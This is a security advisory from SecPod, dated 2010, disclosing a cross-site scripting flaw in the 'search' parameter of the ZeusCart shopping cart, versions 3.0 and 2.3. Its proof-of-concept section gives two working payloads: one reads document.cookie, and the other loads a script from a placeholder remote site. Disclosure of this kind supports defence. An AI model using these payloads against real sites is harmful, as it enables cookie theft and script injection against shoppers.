ZeusCart Ecommerce Shopping Cart Cross Site Scripting

`#######################################################################  
ZeusCart Ecommerce Shopping Cart Software Cross-Site scripting Vulnerability  
  
SecPod Technologies (www.secpod.com)  
Author Sooraj K.S  
#######################################################################  
  
SecPod ID: 1003 07/28/2010 Issue Discovered  
07/30/2010 Vendor Notified  
No Response from Vendor  
  
Class: Cross-Site Scripting Severity: Medium  
  
  
Overview:  
---------  
ZeusCart Ecommerce Shopping Cart Software is prone to cross-site scripting  
vulnerability.  
  
Technical Description:  
----------------------  
ZeusCart Ecommerce Shopping Cart Software is prone to a cross-site scripting  
vulnerability because it fails to properly sanitize user-supplied input.  
  
Input passed via the 'search' parameter in a 'search' action in index.php is  
not properly verified before it is returned to the user. This can be exploited  
to execute arbitrary HTML and script code in a user's browser session in the  
context of a vulnerable site. This may allow the attacker to steal cookie-based  
authentication credentials and to launch other attacks.  
  
The vulnerability has been tested in ZeusCart 3.0 and 2.3. Other versions may  
also be affected.  
  
  
Impact:  
--------  
Successful exploitation allows an attacker to execute arbitrary HTML and script  
code in a user's browser session in the context of a vulnerable site.  
  
  
Affected Software:  
------------------  
ZeusCart 3.0  
ZeusCart 2.3  
  
Tested on,  
ZeusCart 3.0 and 2.3 (tested using Microsoft Internet Explorer browser)  
  
  
Reference:  
---------  
http://www.zeuscart.com/  
http://secpod.org/blog/?p=109  
http://secpod.org/advisories/SECPOD_ZeusCart_XSS.txt  
  
  
Proof of Concept:  
-----------------  
1)Input this code in search box and click search  
'"%22%20style=x:expression(alert(document.cookie))><"  
This script executed only on Microsoft Internet Explorer browser when tested  
on ZeusCart 3.0 and 2.3  
  
2) This example worked on ZeusCart version 2.3  
http://www.example.com/?do=search&search='"><SCRIPT SRC=//REMOTE_SITE_SCRIPT>  
  
Solution:  
----------  
Fix not available  
  
Risk Factor:  
-------------  
CVSS Score Report:   
ACCESS_VECTOR = NETWORK  
ACCESS_COMPLEXITY = MEDIUM  
AUTHENTICATION = NONE  
CONFIDENTIALITY_IMPACT = NONE  
INTEGRITY_IMPACT = PARTIAL  
AVAILABILITY_IMPACT = NONE  
EXPLOITABILITY = PROOF_OF_CONCEPT  
REMEDIATION_LEVEL = UNAVAILABLE  
REPORT_CONFIDENCE = CONFIRMED  
CVSS Base Score = 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:P/A:N)  
  
Credits:  
--------  
Sooraj K.S of SecPod Technologies has been credited with the discovery of this  
vulnerability.  
  
  
`